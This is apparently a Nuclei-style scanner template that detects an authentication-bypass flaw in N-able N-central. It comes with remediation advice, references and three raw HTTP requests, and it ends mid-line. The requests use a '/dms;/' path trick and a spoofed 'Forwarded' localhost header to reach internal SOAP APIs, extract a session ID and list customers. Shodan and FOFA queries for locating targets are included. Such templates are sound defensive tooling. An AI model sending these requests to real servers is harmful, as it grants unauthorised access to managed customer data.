id: CVE-2026-86207 info: name: N-able N-central - Authentication Bypass author: rapid7,DhiyaneshDk severity: critical description: | An authentication bypass in N-central < 2026.3 HF 3 leads to authentication bypass in internal-only APIs. impact: | Attackers can bypass authentication, potentially gaining unauthorized access to internal APIs and sensitive data. remediation: | Upgrade N-able N-central to version 2026.3.1.13 (2026.3 Hotfix 3) or later. Hosted N-central environments have already been patched by the vendor. reference: - https://www.rapid7.com/blog/post/ve-cve-2026-86206-cve-2026-86207-n-able-n-central-authentication-bypass-fixed/ - https://me.n-able.com/s/security-advisory/aArVy0000002LTNKA2/cve202686206-access-control-filter-bypass-allows-unauthorised-access-to-apis - https://documentation.n-able.com/N-central/Release_Notes/GA/Content/N-central_2026.3_HF3_Release_Notes.htm classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H cvss-score: 9.8 cve-id: CVE-2026-86207 epss-score: 0.01254 epss-percentile: 0.69296 cwe-id: CWE-287 metadata: verified: true max-request: 3 vendor: n-able product: n-central shodan-query: title:"N-central" fofa-query: title="N-central" tags: cve,cve2026,n-able,n-central,auth-bypass,2fa-bypass,soap,vkev flow: http(1) && http(2) && http(3) http: - raw: - | POST /dms;/services/ServerUI HTTP/1.1 Host: {{Hostname}} Forwarded: for="127.0.0.\1" Content-Type: text/xml; charset=utf-8 SOAPAction: "" 3 matchers: - type: dsl dsl: - "status_code == 200" - "contains_all(body, 'SessionID')" - "contains(content_type, 'text/xml')" condition: and internal: true extractors: - type: regex name: session_id part: body group: 1 regex: - ']*>([0-9]+)' internal: true - raw: - | POST /dms;/services/ServerUI HTTP/1.1 Host: {{Hostname}} Forwarded: for="127.0.0.\1" Content-Type: text/xml; charset=utf-8 SOAPAction: "" {{session_id}} 1 dummy matchers: - type: dsl dsl: - "status_code == 500" - "contains_all(body, 'ConfigProfileUtils.getConfigProfile()', 'NullPointerException')" condition: and internal: true - raw: - | POST /dms;/services/ServerUI HTTP/1.1 Host: {{Hostname}} Forwarded: for="127.0.0.\1" Content-Type: text/xml; charset=utf-8 SOAPAction: "" {{session_id}} 1 true false matchers: - type: dsl dsl: - "status_code == 200" - "contains_all(body, 'customerListResponse', '